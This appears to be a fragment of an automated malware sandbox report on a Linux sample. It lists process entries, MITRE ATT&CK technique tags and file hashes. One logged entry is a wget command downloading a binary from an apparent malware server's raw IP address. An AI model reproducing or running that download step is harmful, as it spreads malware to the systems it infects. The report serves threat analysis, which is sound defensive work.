- System Network Configuration Discovery
PID:894
-
-
/bin/rmrm 8kxYL2AX9zAvyeobjHP38E9G3EF4HIIpUO2⤵
- System Network Configuration Discovery
PID:895
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/LUvdW1YFtoirOfVyBSZbFK4V7thWpG1K0p2⤵PID:896
-
Network
MITRE ATT&CK Enterprise v15
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
153B
MD5998368d7c95ea4293237f2320546e440
SHA130dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA256533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
SHA512648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97